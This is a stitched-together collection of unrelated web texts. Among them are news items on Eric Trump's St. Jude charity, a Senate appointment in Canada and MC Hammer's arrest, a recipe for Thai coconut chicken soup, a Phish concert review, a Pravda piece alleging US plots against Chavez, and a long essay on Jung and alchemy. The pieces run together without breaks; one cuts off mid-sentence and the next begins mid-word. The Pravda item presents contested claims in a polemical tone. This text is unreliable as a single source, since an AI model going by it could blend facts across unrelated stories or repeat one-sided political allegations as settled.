The Kay Research Care Center’s 328,000 square feet at St. Jude includes the Eric Trump Foundation Surgery and ICU Center. The Eric Trump Foundation's total commitment to St. Jude was to $28 million since 2006, including the $5 million outstanding.
From left, Sophia Gross, Brittany Hebert, Eric Trump, Jennifer Palladina, Jerry Kaufman and, in front, a St. Jude Children's Hospital patient from Covington, Louisiana, were at the Sky High for St. Jude "Circus Carnival." Feb. 20, 2015. (Photo: Submitted photo)
Since its inception in 2006, Eric Trump's foundation had been dedicated to raising funds for St. Jude through such events as an annual golf tournament and auction at Trump National Golf Club outside New York City.
"Fighting childhood cancer is a cause that has been central to my life since I was 21 years old," Eric Trump told The Associated Press. "It's an extremely sad day when doing the right thing isn't the right thing. That said, raising awareness for the cause will be a lifelong mission for me."
The Trumps have come under scrutiny in recent days for charity ventures that offered access to the incoming first family — including the president-elect.
Eric Trump's foundation scuttled a plan to raise money for the children's hospital through an online auction for coffee with his sister Ivanka Trump, who is considering joining the White House in some capacity. And Eric and Donald Trump Jr. backed away from an inauguration event that aimed to raise money for conservation charities.
They were named as directors along with two of their friends in a new Texas-based nonprofit that had considered offering $1 million donors the chance to rub elbows with the new president at a "Camouflage & Cufflinks" ball in Washington the day after Trump's swearing-in. The nonprofit also proposed allowing some donors to join one or both of the sons on a hunting or fishing trip.
A spokeswoman for the Texas secretary of state said Thursday that the nonprofit registration had been amended a day earlier to remove the Trump sons as directors. Their friend Gentry Beach, a Dallas businessman, is now listed as the sole director of what's called the Opening Day Foundation. In addition, that group has stripped all references to contributors meeting with any of the Trumps, although the sons remain listed as honorary co-chairmen on a revised invitation to the Jan. 21 event.
Ethics counselors for Presidents Barack Obama and George W. Bush praised the family for making quick adjustments to avoid the appearance of selling access — but warned that the family must set up bright lines between their business and charitable ventures and the government they are about to lead.
The focus on the Eric Trump Foundation comes after Donald Trump relentlessly criticized his Democratic opponent for the White House, Hillary Clinton, for allegedly providing favors to donors to the Clinton Foundation while she was secretary of state. She has denied those allegations.
News of Eric Trump's decision was first reported Wednesday by The New York Times.
Don Jr. and Eric Trump, who were among the Republican businessman's closest campaign advisers and have played an active role in the transition, are planning to remain in New York to run the massive Trump Organization once their father takes office. Critics have demanded the president-elect divest himself from his business. He was to have addressed the future of the company at a press conference last week, but it has been postponed to January.
The future also remains murky for the Donald J. Trump Foundation, a separate charity run by the president-elect that solicited outside gifts and has been criticized for using donations to fund business interests.
Associated Press writer Julie Bykowicz contributed to this report from Washington. Commercial Appeal reporters Kevin McKenzie and Tom Charlier also contributed to this report.
Read or Share this story: http://memne.ws/2il9PpSAs a part of Microsoft’s continued commitment to interoperability and standards support, yesterday we submitted our request to join the Scalable Vector Graphics (SVG) Working Group of the World Wide Web Consortium (W3C). We’re excited to take part in ensuring future versions of the SVG spec will meet the needs of developers and end users.
As stated on its Web site, “the mission of the SVG Working Group is to continue the evolution of Scalable Vector Graphics as a format and a platform, and enhance the adoption and usability of SVG in combination with other technologies.” We recognize that vector graphics are an important component of the next generation Web platform. As evidenced by our ongoing involvement in W3C working groups, we are committed to participating in the standards process to help ensure a healthy future for the Web. Our involvement with the SVG working group builds on that commitment.
To date, I have had several interactions with the SVG working group, and their clear dedication to creating a great technology for end users and developers alike stands out. I personally look forward to future and more direct involvement with this great set of folks.
Patrick Dengler
Senior Program Manager
Internet Explorer TeamA Toronto woman who has spent more than 30 years fighting to make Canada more inclusive received a call from Prime Minister Justin Trudeau earlier this week. She was in Ottawa for a holiday with her grandchildren when the phone rang.
"It isn't the intermediary. It's the prime minister himself. I was stunned into silence for quite a little while," Ratna Omidvar, 66, told CBC News.
Trudeau told her he was going to recommend her for an appointment to the Senate and she would sit as an independent from Ontario. "It was an excellent conversation," she said.
The call left her "overcome with joy." Omidvar said she is convinced she was chosen because of her length of service and her ability to work with people of different political affiliations.
As an expert in immigration, diversity and inclusion, she said she will continue the work she has been doing for decades. That means speaking out for people whose voices have not always been heard.
"I have always said this country will not succeed unless its immigrants and refugees succeed with it. Our demographics and labour-market projections tell us that," she said.
Omidvar, who was born and raised in India, is the founding executive director and adjunct professor of the Global Diversity Exchange at Ryerson University's Ted Rogers School of Management.
The GDX, as it is known, calls itself a "think-and-do tank" with a focus on diversity that results from global migration. Work there includes identifying and amplifying the links between prosperity, diversity and migration and anchoring these in policy, research and practice.
Omidvar is currently chair of Lifeline Syria, a Toronto-based organization that recruits, trains and assists sponsor groups as they welcome and support Syrian refugees coming to Canada as permanent immigrants as they resettle in the Greater Toronto Area.
Omidvar is a Member of the Order of Canada and the Order of Ontario.
Will vote based on life experiences
"I'm excited about sitting as an independent because I can vote with my values. And I can review the issues that come before the Senate, not in a partisan or political way, but based on the way I have experienced the lives of people. I have worked for more than 30 years on issues that I care deeply about that are increasingly important to Canadians."
Between 1998 and 2014, when she was executive director and president of Maytree, a charitable foundation that aims to reduce poverty and inequality in Canada, she founded the Toronto Region Immigrant Employment Council and DiverseCity on Board.
The council champions solutions to help integrate skilled immigrants in the Greater Toronto labour market. DiverseCity on Board is a program that links people from visible minority and underrepresented communities to volunteer board positions.
Omidvar said she was initially surprised that she was chosen but realized it makes sense.
"There's always surprise to some extent because there are so many good Canadians who are able to do the job, but there's also a moment of reflection that this is the right thing for someone like me to do now," she said.
"There are issues that concern me that I have not been able to work on."
Omidvar, who has two daughters and three granddaughters, immigrated to Canada from Iran with her husband in 1981. She has lived in Toronto since then.
"I want to serve my country. The appointment of independent senators may show us the way forward," she said. "It's an exciting opportunity for me and an exciting time in the history of our country."NASA IS DEVELOPING an air traffic control system for drones as companies like Google and Amazon experiment with unmanned delivery services.
The space agency is working on a management system for all low-flying aircraft – ones that fly around 400 to 500 feet off the ground – which will monitor and direct anything that comes into this airspace, according to the New York Times.
The management system will be for all unmanned aircraft and unlike a normal air traffic control room, it will be entirely automated, using computers and algorithms to figure out where they can and cannot fly.
The system will check for other low-flying traffic, help smaller unmanned vehicles avoid buildings and obstacles, and scan for weather conditions that might cause problems for drones like wind since drones weigh so little.
The first applications for the system will be in sparely populated areas and will focus on areas like agriculture such as monitoring crops or remote oil pipelines. This is expected to happen sometime next year.
Last week, Google revealed Project Wing, its programme which sees drones being used to deliver goods and supplies to people in the Australian outback. However, it’s expected that it will be another few years before it’s launched officially.BOSTON (TheStreet) -- This spring put climate change back on the mainstream media radar.
It started in March, when the American Association for the Advancement of Science released a report on climate change titled What We Know to kick off an initiative to raise awareness on the issue. It makes clear that not only is human-caused climate change real and happening, but that we need to take quick and direct action to rein in greenhouse gas emissions to avert likely catastrophe. Now the the United Nation's Intergovernmental Panel on Climate Change has released a grim report acknowledging that global carbon emissions have continued accelerate even with the recent spike in political rhetoric on tackling the issue.
Despite the growing alarm in the scientific community on climate change, deniers have continued to raise their voices to drown out concern. Two arguments most often used by climate skeptics are that climate change is part of the planet's natural cycle and climate variability and that climate projections rely on fallible computer models. A study released this month in the peer-review journal Climate Dynamics, though, should put these arguments to rest.
Conducted by geophysicist Dr. Shaun Lovejoy of McGill University in Montreal, the study analyzed temperature data collected since 1500, paying particular attention to changes in the past 125 years, since the onset of the Industrial Revolution. Lovejoy considered these temperature changes in the context of longer-term climate fluctuations and looked at records of tree rings, ice cores, cores of the ocean floor and lake sediments. This kind of data offers insight into hemispheric and global climate fluctuations over hundreds, thousands or in some cases even hundreds of thousands of years. For instance, some ice cores from the South Pole can offer a blueprint of climate fluctuations over the past 800,000 years.
After a review of these geological climate records, Lovejoy applied a "fluctuation-analysis technique" -- a method for determining the probability of a given event -- to understand temperature variations over wide ranges of time. He concluded that a global warming event such as the one we have been experiencing over the past century has an incredibly small likelihood, at least one in 1,000. If a bell curve analysis is applied to the data, that likelihood would become even more minuscule, ranging from one in 100,000 to one in 10 million. Lovejoy's study indicates with a confidence greater than 99% that the rate of climate change that has taken place over the past 125 years cannot be ascribed to natural cycles.
"[Climate skeptics] often try to make it appear as though there is a debate on this issue. That's what this study is going to change," Lovejoy says. "I think it's game over for the climate deniers. We can't mess around for another 10 or 20 years."
Lovejoy's research, which was unfunded, uses carbon dioxide as a surrogate for other human-caused and natural events associated with climate fluctuations, including land-use changes and aerosol pollution from volcanic eruptions -- variables that can often stump computer models.After Dexter, one might be used to seeing Michael C. Hall’s face splattered with blood. But now, it’s coated in glitter in preparation for his turn as the titular character in Hedwig and the Angry Inch.
As Neil Patrick Harris and Andrew Rannells have now done before him, Hall dons glittery eye makeup and lipstick for his turn as the rock star from East Berlin who is left with an “angry inch” after a bungled sex-change operation. Hall pulls the wig down from the shelf and begins performances as the “internationally ignored song stylist” Oct. 16.
Hall most recently appeared on Broadway in the play The Realistic Joneses, but has a history of coming in as a replacement in musicals. He has played both Billy Flynn in Chicago and the Emcee in Cabaret.Let’s Make a Long Story Short…
Thailand (specifically Bangkok) has got to have the best food in the world. We always knew we enjoyed Thai food but we didn’t know what was in store for us. We spent a mere 10 days in Bangkok (most of which we spent sick and at home from the 24-hour long commute to Asia) and we couldn’t find a place that didn’t serve show-stopping food. We ate at top-rated restaurants as well as random “hole in the walls” we found on our way to and from our sightseeing trips.
Our favorite places to eat, it turns out, were outdoor stands/food carts which served traditional, homemade Thai dishes for cheap. Those blew even the highest-rated restaurants in Bangkok out of the water. We learned that you can’t beat a meal being made fresh right before your eyes.
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My favorite dish out of all the marinated meats, fresh fruits, spicy soups and curries was this Tom Kha Gai, which is a Coconut Chicken Soup. It’s very simple to make, requires only a pot, and tastes like it’s straight out of a restaurant (or in this case, a food cart!).
Be warned, it really comes together only with the addition of coconut cream. It’s traditionally made with coconut milk, but unfortunately, in the states, coconut milk is usually heavily watered down and lower in fat than natural coconut milk. Plus, for our keto purposes, full fat is better, so I decided to make this traditional dish with coconut cream instead. If you can’t find coconut cream, try to find the most authentic looking coconut milk you can. That means no ‘Silk’ brand coconut milk. You’re looking for something in a can or a small cardboard box. Try the ethnic section of your supermarket.
I really hope you give this soup a try! It’s one of my all time favorite things to get at restaurants. Now that I know how to make it at home, nothing can stop me from enjoying this weekly. 🙂
Thai Coconut Chicken Soup - Tom Kha Gai Votes: 20
Rating: 4.2
You: Rate this recipe! Print Recipe Macros per serving:
• 325 Calories
• 20g of Fat
• 29g of Protein
• 7g of Net Carbs
Serves 4 servings Prep Time 10 minutes Cook Time 45 minutes Serves 4 servings Prep Time 10 minutes Cook Time 45 minutes Thai Coconut Chicken Soup - Tom Kha Gai Votes: 20
Rating: 4.2
You: Rate this recipe! Print Recipe Macros per serving:
• 325 Calories
• 20g of Fat
• 29g of Protein
• 7g of Net Carbs
Serves 4 servings Prep Time 10 minutes Cook Time 45 minutes Serves 4 servings Prep Time 10 minutes Cook Time 45 minutes Servings: servings Ingredients 6 cups chicken broth
2 stalks lemongrass
10 kaffir lime leaves (or 1 lime)
1 inch fresh ginger (grated)
1/2 tsp sea salt
1 lb boneless skinless chicken thighs
10 oz. mixed mushrooms (we used white, oyster and shiitake)
1.5 cups coconut cream
1 tbsp fish sauce (optional)
1 chili pepper (optional)
cilantro (to taste, for garnish) Instructions Start by heating the chicken broth in a soup pot on medium-high heat. Whack the lemongrass stalks with the blunt end of a knife a few times to help release its aroma. Then cut it into about 4 1-inch pieces. Add them to the chicken broth along with the kaffir lime leaves, grated ginger and sea salt. (If you don't have kaffir lime leaves, you can use the juice of 1 lime plus its zest). Let the broth simmer for about 20 minutes. Then strain out the solids. Into the now-strained broth, add the chicken thighs and mixed mushrooms. You can use 10 oz. of just white mushrooms but using mixed mushrooms adds some different flavors to the soup that are very pleasant. Let the chicken and mushrooms cook for 20 minutes. Once the 20 minutes are up, take out the chicken thighs and shred them. Add them back in along with the cup of coconut cream and fish sauce. Let this cook for about 5 minutes. Taste it and add more salt if necessary. To serve, split among 4 bowls and garnish with chopped chili pepper (optional) and cilantro or parsley to taste. Enjoy! Tasteaholics, Inc. is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com.
Loved this recipe? Let us know! Something didn’t quite turn out right? Ask us in the comments below or contact us– we respond to comments every day and would love to hear from you and help you out! And check out all our low carb dinners to learn to make more delicious and healthy meals!CIA tries to get rid of Chavez at all costs
The United States has taken steps backstage to help the Venezuelan opposition to win parliamentary elections of 2010 and presidential elections of 2012. Wikileaks published correspondence between the American company Stratfor and Serbian Canavas that developed a plan to destabilize the country with "democratic" methods.
The correspondence involved Stratfor described by WikiLeaks as a "private version" of the CIA. Wikileaks also named among Stratfor's clients Department of Homeland Security, the U.S. Marine Corps, as well as well-known American corporations Lockheed Martin, Northrop Grumman and Raytheon. The "About Us" section of Stratfor site says that the company provides services in the area of "global intelligence" to solve business problems by using geopolitical situation analysis. The company was founded in 1996 by the author of the bestseller "America's Secret War", Dr. George Friedman and is headquartered in Austin, Texas. The company's staff speaks 29 languages and has access to intelligence information.
Advertising its services, Stratfor says that methodology analysis allows evaluating the influential "world leaders" and, thus, predicting their actions and behavior. This shows that its work is far from business.
The second party to the correspondence is Serbian Canavas (The Centre for Applied Non-Violent Action and Strategies). "What We Do" section of its website explains that the center specializes in the development of recommendations for "non-violent" overthrow of the government, based on the experience of the struggle of the student movement "Otpor" against the regime of Slobodan Milosevic in 2000. Venezuelan News Agency (AVN) writes that Canavas with the support of the CIA and non-profit organizations USAID and NED have developed plans for the opposition in Ukraine, Georgia, Belarus, Bolivia, Zimbabwe, Iran, Lebanon, Azerbaijan and other countries.
Canvas has about 200 activities on its "menu" including organization of social unrest, political and economic instability, including strikes, peaceful demonstrations with the use of Internet, social networks and Twitter, as well as traditional media. The center exports "students' revolts" and organizes seminars for activists in its headquarters in Belgrade.
Wikileaks published at least 73 documents and e-mail messages for the period from July 2004 to December 2011, which Stratfor employees sent from Caracas to Belgrade. The letters appear to be references to meetings or information from representatives of the Venezuelan opposition, such as the mayor of Caracas, Antonio Ledezma, the opposition candidate who lost to Chavez, Henrique Capriles, and the leader of the opposition party "People's Will" Leopoldo Lopez.
One of the telegrams is directly related to the presidential campaign of 2012. In this message, Stratfor is asking Canavas to help "the revolution in Venezuela." The strategy is explained as follows: to unite the opposition, help conduct the campaign and encourage people to vote for it. The tactics would include first to seek political opponents willing to cooperate, then analyze the situation and develop an action plan, called the "mission."
However, most e-mails are dated with the first quarter of 2010 and refer to the September parliamentary elections in Venezuela. The correspondence is headed by an "expert" of Stratfor on Latin America, Karen Hooper and describes the political situation in Venezuela. She writes about strengthening of cooperation with Russia in the energy sector and that the policy of the state of the oil industry is in the hands of the Minister Rafael Ramirez. She then lists the issues that could potentially be used in the campaign, including drought, introduction of rationed energy consumption, and suspending of the broadcasts of the opposition cable provider RCTV for non-compliance with the Basic Law on Mass Media.
In another message Hooper says what forces should be used, e.g., church and students who are currently more reliable and popular in Venezuela than the opposition parties (reminiscent of the main "revolutionary" forces in Serbia). It also offers campaign slogans: government accountability, decentralization of the police, and notes that all the necessary resources will be provided for the implementation of the plan.
Now let's see what events in Venezuela followed this correspondence. On January 28, 2010, students at several universities in the country were taken to the headquarters of the national electricity company Corpoelec with a petition demanding to end rationing of electricity and an increase of investment in the energy sector.
Different universities organized student strikes against the government's policy, including hunger strikes, and all mainly in the state of Merida, the mainstay of the opposition. Monsignor Osvaldo Azuahe, Assistant Bishop of Maracaibo, Venezuela at the conference of bishops (CEV) urged Catholic youth "to lead the movement, which will send us on a path to build a new civilization." The main opposition newspaper El Universal focused its criticism on the violation of freedom of speech in connection with the closure of six cable channels, including RCTV. Actions of police were criticized and called repressive, and secrecy and unaccountability of the Chavez government was discussed by everyone. On January 30, 2010, Amnesty International called on the Venezuelan government to guarantee the right to freedom of expression and assembly for all people.
Enrique Mendoza, a representative of the "Democratic Unity Roundtable" (MUD) boasted publicly in the press that his party had a plan that would lead to the victory in the election. However, the cheering stopped after the opposition lost. Stratfor said in its letter that "the plan to destabilize Venezuela" may not be fully implemented because of the lack of trust among different groups of the Venezuelan opposition. This is not true, because the opposition appeared consolidated and brought a single candidate to the presidential election. Stratfor experts were covering themselves in case of failure. The authority of Hugo Chavez among the people is so great that it cannot be trumped by any "democratic" means.
Lyuba Lulko
Pravda.Ru
Read the original in Russian(CNN) -- Rapper MC Hammer launched a string of tweets Saturday with his side of the story two days after he was arrested in northern California for allegedly obstructing an officer.
Among his tweets, Hammer said, apparently referring to the arresting officer, that he was asked whether he was on parole or probation before the man tried to pull him out of his vehicle Thursday night.
Police in Dublin, east of Oakland, said Hammer was in a vehicle with expired registration and he was not the registered owner.
"After asking Hammer who the registered owner was he became very argumentative and refused to answer the officer's questions," police spokesman Herb Walters wrote Saturday evening in an e-mail to CNN.
Hammer -- a rap and dance icon in the late 1980s and 1990s -- was arrested on suspicion of resisting an officer and obstructing an officer in the performance of his duties, according to police spokesman Herb Walters.
The incident occurred at the Hacienda Crossings shopping center.
Hammer began his tweets Saturday with "chubby elvis looking dude was tapping on my car window, I rolled down the window and he said 'Are you on parole or probation?'"
"While I was handing him my ID he reached in my car and tried to pull me out the car but forgot he was on a steady donut diet," Hammer continued. "It was comical to me until he pulled out his guns, blew his whistle and yelled for help (MallCop)!!! But make no mistake he's dangerous."
Hammer, 50, was booked and released on bail from Santa Rita Jail, Walters said. A court date is next month, and police have until that time to decide on any charges.
No drugs or alcohol were suspected in the incident, police said.
In another tweet, Hammer, born Stanley Kirk Burrell, said, "only thing more dangerous than a scared man with a gun, is a scared man with an agenda, a gun and a badge."
"I will now answer his question, contrary to his personal beliefs, all people of color are not on parole or probation fat boy!!!," wrote Hammer, later adding he thought of his arrest as "a teachable moment" and an "eye opener."
Hammer, who had a hit single in 1990 with "U Can't Touch This," has been enjoying a resurgence in his career and took the stage with "Gangnam Style" Korean performer Psy during the American Music Awards last November.
Hammer performed "Too Legit to Quit," which was released more than 20 years ago.
CNN's Michael Martinez contributed to this report.Phish kicked off their final shows of 2012 and the first of a four-night run at Madison Square Garden in New York City last night. The band took the stage a little after 8:15pm and opened with 2009’s “Stealing Time From the Faulty Plan.” The band was in high spirits right off the bat but kept the song selection and jams inside the box until the set closing “Wolfman’s Brother.” This version contained some great work from Page McConnell on keys and slid into a full band tease of “Little Drummer Boy” (Last played, April 16, 2004) before segueing back into “Wolfmans.” Check out our photo gallery and recap after the jump.
The second set kicked off with a high energy “Tweezer” setting the tone for the rest of the night. The band guided the audience through twenty minutes of exploration which contained elements of brilliance before a segue into “Maze.” I can’t call this an era-defining jam so quickly removed from the show but it’s definitely a must listen. Overall the show contained really high highs with “Wolfmans”, “Tweezer”, and “Twist” easily rising to the top. One thing is certain, the band is ready to deliver three more nights of rock and roll and the audience is hanging on every note.Entering the arena’s back entrance for the press was an experience in itself. Walking through the hallowed hallways and down the elevator was a trip. You could sense the history that’s taken place between the walls and it’s inspiring to say the least. And yes the bouncin’ floor makes it very hard to keep your camera steady!
See you tonight!
Been Caught Stealing Request Balloon, 12/28/12 Trey Anastasio’s “O” Face, 12/28/12
NIGHT 1 – PHISH 12/28/12 SETLIST:
Set 1: Stealing Time From the Faulty Plan, The Moma Dance, Funky Bitch, Army of One, Tube > Stash, Nellie Kane, Kill Devil Falls, Free, Wolfman’s Brother -> The Little Drummer Boy -> Wolfman’s Brother
Set 2: Tweezer -> Maze, Twist[1] > Theme From the Bottom -> Fluffhead, David Bowie
Encore: Bouncing Around the Room, Good Times Bad Times
[1] Little Drummer Boy teases and quotes
Notes: The Little Drummer Boy was played for the first time since April 16, 2004 (187 Shows). Twist contained multiple Little Drummer Boy teases as well as quotes from Trey, referring to Fishman.
(Phish.net)PMN had the pleasure of speaking to WWE Diva Paige on Thursday in the lead-up to her match against Nikki Bella on Sunday at Fastlane for the Diva’s title. In addition to talking about her upcoming match, Paige also talked with us about her Total Divas experience and what that has been like and if we’ll ever see her in any relationship drama on the show.
We asked her if the show is scripted at all — and you may be surprised at her answer. Paige |
ysts, was intrigued and taken aback by the tragic fate of Herbert Silberer, a disciple of Freud, who in 1914 published a work dealing largely with the psychoanalytic implications of alchemy. Silberer, who upon proudly presenting his book to his master Freud, was coldly rebuked by him, became despondent and ended his life by suicide, thus becoming what might be called the first martyr to the cause of a psychological view of alchemy.
Now it all came together, as it were. The Gnostic Sophia was about to begin her triumphal return to the arena of modern thought, and the psychological link connecting her and her modern devotees would be the long despised, but about to be rehabilitated, symbolic discipline of alchemy. The recognition had come. Heralded by a dream, the role of alchemy as the link connecting ancient Gnosticism with modern psychology, as well as Jung's role in reviving this link, became apparent. As Jung was to recollect later:
[Alchemy] represented the historical link with Gnosticism, and... a continuity therefore existed between past and present. Grounded in the natural philosophy of the Middle Ages, alchemy formed the bridge on the one hand into the past, to Gnosticism, and on the other into the future, to the modern psychology of the unconscious. 4
Richard Wilhelm and the Chinese Connection
In 1928 the eminent German Sinologist, Richard Wilhelm, recently returned after a long period of residence in China, sent Jung a manuscript of a translation of an alchemical treatise of Taoist origin and requested that Jung might write a psychological commentary on the text. This work, subsequently known as The Secret of the Golden Flower catapulted C.G. Jung into the very midst of alchemical themes and interests. His studies disclosed that Chinese alchemy, just like the alchemy of the West, deals primarily with the transformational symbolism of the human soul. Although the ancient Taoists postulated that the quest for immortality was the central work of alchemy, their "Golden Flower" of immortality is not substantially different from the "Stone of the Philosophers," which is the supreme objective of Western practitioners of the Great Art.
Not only was there a rainbow bridge discernible that connected modern depth-psychology with the Gnostics of old, but there was also a similar bridge linking these Western traditions and disciplines with the Taoist sages of the ancient Middle Kingdom. While the bridge linking the past with the present might be envisioned historically, the bridge joining East with West might be seen to consist of archetypal rather than historical substance. As Richard Wilhelm himself came to state:
Chinese wisdom and Dr. Jung have both descended independently of one another into the depths of man's collective psyche and have there come upon realities which look so alike because thy are equally anchored in truth. This would prove that the truth can be reached from any standpoint if only one digs deep enough for it, and the congruity between the Swiss scientist and the old Chinese sages only goes to show that both are right because both have found the truth. 5
And now, we might ask at this point, might this truth be defined? It is a psychic fact that the opposites arising from the dark matter of the birth-agonies of the human soul confront each other in the alchemical vessel of spiritual transformation (in Chinese alchemy frequently envisioned as the human body) and after many battles, woundings, and indeed deaths, ultimately come to unite in an indestructible state in the reconciliation of the binaries. Thus the lunar Queen and solar King (represented in China by the symbols of the Yin and Yang) are living presences within us, heralding the promise of the Philosophers' Stone or the Golden Flower which we are destined to become ourselves. "The Chinese Connection" thus revealed to Jung that alchemy is based upon universal archetypal principles which are of equal relevance to ancient Gnostics, Taoist wise men, and modern psychologists. It is thus that Jung found in the symbolism of alchemy one of the most potent connecting links between the psyches of Eastern and Western peoples. In the conclusion of his collaborative work with Wilhelm may be found the following words: "The purpose of my commentary is to attempt to build a bridge of psychological understanding between East and West."
Alchemical Redemption
Jung's dreams in 1925, 1926, and thereafter frequently found him in ancient houses surrounded by alchemical codices of great beauty and mystery. Inspired by such images, Jung amassed a library on the great art which represents probably one of the finest private collections in this field. In addition he secured photocopies of a large number of rare works which repose in various collections the world over. I well remember being told by the late Dr. Henry Drake, Vice President of the Philosophical Research Society in Los Angeles, how Jung secured copies of the extensive alchemical collection of the Society in the 1940's, and expressed his feelings to Manly P. Hall of that Society concerning the valuable use to which he had put these materials in his book Psychology and Alchemy. Jung's collection of rare works on alchemy is still extant in his former house in Küsnacht, a suburb of Zurich.
When asked whether he valued any alchemical work above others, Jung was wont to single out first one then another according to its applicability to the theme being discussed. Aniela Jaffe stated that "fundamentally it was not the thoughts of individual alchemists that were of importance for Jung's researches as much as the inexhaustible variety of their arcane images and descriptions, apparently so different yet all interrelated." 6 Anyone who has had the good fortune to observe some of the major alchemical codices in their original form and feast their eyes on the incredibly impressive imagery, pictured in vivid colors and fantastic shapes, will sympathize with Jung's habit of meditating upon this imagery as an exercise in altered and expanded consciousness!
In 1935, after years of intense study and inner transformations, Jung presented some of his findings to the world for the first time. Needless to say this did not occur in some cold academic setting, but at the beautiful Villa Eranos, in Ascona. Surrounded by a splendid garden, elegant furnishings, fine wines and refreshments, the brilliant and distinguished guests of Madame Olga Fröbe-Kapteyn gathered to witness the unveiling of alchemy in its 20th Century psychological embodiment. In a lecture entitled "Dream Symbols and the Individuation Process" Jung traced the alchemical symbolism evident in the dreams of contemporary persons, thereby establishing that alchemy still lives in modern minds even as it did in ancient Alexandria or medieval Europe. A year later, at the same place, he lectured on "The Idea of Redemption in Alchemy." The select audience was intrigued and enchanted. The time had assuredly come when the hermetic silence could be broken and the gnosis of alchemy could be made available to an increasing number. For seven more years Jung worked with great diligence, expanding and amplifying his researches into alchemy. His labors culminated in his chef d'oevre, published in 1944, and entitled Psychology and Alchemy. Even some seminal pronouncements related to alchemy in his address delivered in 1941, on the 400th anniversary of the death of the great Swiss alchemist, Paracelsus. This lecture, which was later expanded and included in the 13th volume of Jung's Collected Works entitled Alchemical Studies, presents what is perhaps the clearest picture on record of Jung's fundamental attitude toward alchemy.
The point frequently missed by students of Jung, but amply elucidated by him in his above noted address (published under the title "Paracelsus as a Spiritual Phenomenon"), concerns the topic of alchemy as a modality of redemption. With Paracelsus, Jung held that in human life we possess two sources of Gnosis, or salvific knowledge. One of these is Lumen Dei, the light proceeding from the unmanifest Godhead, the other is Lumen Naturae, the light hidden in matter and the forces of nature. While the Divine Light may be discerned and appreciated in revelation and in the mystery of the Incarnation, the Light of Nature needs to be released through alchemy before it can become fully operative. God redeems humanity, but nature needs to be redeemed by human alchemists, who are able to induce the process of transformation which alone is capable of liberating the light imprisoned in physical creation.
The cosmos, according to Paracelsus, contains the divine light or life, but this holy essence is enmeshed in a mechanical trap, presided over by a kind of demiurge, named by Paracelsus Hylaster (from hyle, "matter," and astrum, "star"). The cosmic spider-god has spun a web within which the light, like an insect, is caught, until the alchemical process bursts the web. The web is none other than the consensus reality composed of the four elements of earth, water, fire and air, within which all creatures exist. The first operation of alchemy therefore addresses itself to the breaking up (torturing, bleeding, dismembering) of this confining structure and reducing it to a condition of creative chaos (massa confusa, prima materia). From this, in the process of transformation, the true, creative binaries emerge and begin their interaction designed to bring about the coniunctio or alchemical union. In this ultimate union, says Jung, the previously confined light is redeemed and brought to the point of its ultimate and redemptive fulfillment.
While these statements ostensibly refer to the material universe and to nature, Jung perceives in them a model or paradigm for the material and natural aspect of human nature as well. Under the guise of liberating the light confined in matter, the alchemists were endeavoring to redeem the spirit or psychic energy locked up in the body and psyche (the "natural man" of St. Paul) and thus make this energy available for the greater tasks of the spirit or spiritual man.
The roots of this thinking within both the Christian and the Hermetic gnosis are clearly acknowledged by Jung, who likens the imprisoned light to the primordial man of the Gnostics, the Adam Kadmon of the Kabbalah, and by association to the lost lightsparks of the Kabbalah of Isaac Luria. (The implications of this concept of alchemical redemption are many and impressive. On the one hand, it is clear that matter and the body are by no means to be equated with evil and darkness, while on the other hand, the pagan emphasis on a mere immersion of human consciousness in nature as advocated by some in our times under such slogans as "affirmation of life" and the "celebration of nature" reveals itself as a limited view to which alchemy may serve as a much needed corrective.)
Alchemical Eros
One of the most fascinating explorations of the psychological analogues of alchemy was given to us by Jung in a lengthy essay not usually classified as one of his alchemical writings, entitled The Psychology of the Transference. In this study Jung employed the ten pictures illustrating the opus of alchemical transormation contained in a classic called Rosarium Philosophorum (Rosary of the Philosophers), where the dual powers of the "King" and "Queen" are shown to undergo a number of phases of their own mystico-erotic relationship and eventually unite in a new, androgynous being, called in the text "the noble Empress". The term "transference is used by Jung as a psychological synonym for love, which in interpersonal relations as well as in depth-psychological analysis serves the role of the great healer of the sorrows and injuries of living.
The series of images begins with that of the mercurial fountain, symbolizing the aroused energy of transformation and continues with the meeting of the King and Queen, first fully clad and later having relinquished their garments. The lovers thus confront each other with their personae and defenses, but proceed to a meeting in "naked truth". The partners then immerse themselves in the alchemical bath, thus allowing the force of love to engulf their conscious egos, blotting out rational and mundane considerations. While in this state of passionate engulfment the psychosexual union (coniunctio) takes place. But, contrary expectations, this union, which initially brought forth a newly formed androgynous being, results in death. The spiritual result of love is not viable and, having expired, undergoes decomposition.
It is at this point that the force of commitment to the process (though not necessarily to a particular partner) becomes all-important. By not abandoning the transformational work, the soul of the dead androgyne ascends to heaven, i.e., to a higher level of consciousness, while the body is washed in celestial dew. Soon the departed soul returns to its earthly body, and the reanimated corpse stands in its full, numinous glory for all to see. A new being is born which is the promised fruit of love, the transformed consciousness of the lovers, formed of the opposites, which are now welded into an inseparable imperishable wholeness. The alchemy of love has reached its true and triumphant culmination.
In The Psychology of the Transference, Jung has shared with the world his uniquely practical insight not only into the psychological mechanism of love but into the process of the reconciliation of all opposites - emotive, intellectual, physical, and metaphysical. Far more readily understood than his definitive treatise Psychology and Alchemy, this disquisition on the Alchemy of Eros is one of the most lucid and concise treatments of the process of unitive transformation. Published in 1945, it is not only a worthy successor to his earlier work, but also an excellent primer of the psychological approach to alchemy. In love, as in psychological growth, the key to success is the ability to endure the tension of the opposites without abandoning the process, even if the process and its result appear to have been brought to naught. In our impatient age, replete with divorce, fickleness, and the pursuit of change, these psycho-alchemical insights are very much needed indeed!
The Alchemical Sophia
Jung's two greatest works on Alchemy are Psychology and Alchemy and Mysterium Coniunctionis, the latter representing his final summing up of the implications of his long preoccupation with alchemy. In this last summary of his insights on the subject, influenced in part by his collaboration with the Nobel Prize winning physicist Wolfgang Pauli, the old Jung envisions a great psycho-physical mystery to which the alchemists of old gave the name of unus mundus (one world). At the root of all being, so he intimates, there is a state wherein physicality and spirituality meet in a transgressive union. Synchronistic phenomena, and many more as yet unexplained mysteries of physical and psychological nature, appear to proceed from this unitive condition. It is more than likely that this mysterious condition is the true home of the archetypes as such, which merely project themselves into the realm of the psyche, but in reality abide elsewhere. While the tensional relationship of the opposites remains the great operational mechanism of manifest life and of transformation, this relationship exists within the context of a unitary world-model wherein matter and spirit, King and Queen, appear as aspects of a psychoid realm of reality.
